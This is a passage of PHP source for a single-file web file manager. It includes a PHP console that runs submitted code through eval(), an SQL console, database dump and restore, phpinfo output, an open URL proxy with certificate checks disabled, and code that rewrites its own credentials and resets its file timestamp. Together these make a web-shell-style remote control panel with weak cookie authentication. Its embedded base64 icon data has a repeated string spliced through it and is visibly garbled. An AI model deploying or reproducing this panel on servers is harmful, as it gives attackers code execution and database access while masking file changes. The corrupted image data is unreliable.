$exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' �� '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTHq45EoFw3Gm96FYBZZMmH6yGp8JVmFg7ks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3THq45EoFw3Gm96FYBZZMmH6yGp8JVmFg7kW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTHq45EoFw3Gm96FYBZZMmH6yGp8JVmFg7k/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //�ܧѧ�-��� ���ا� ���էާ֧ߧ��� �ߧѧէ� } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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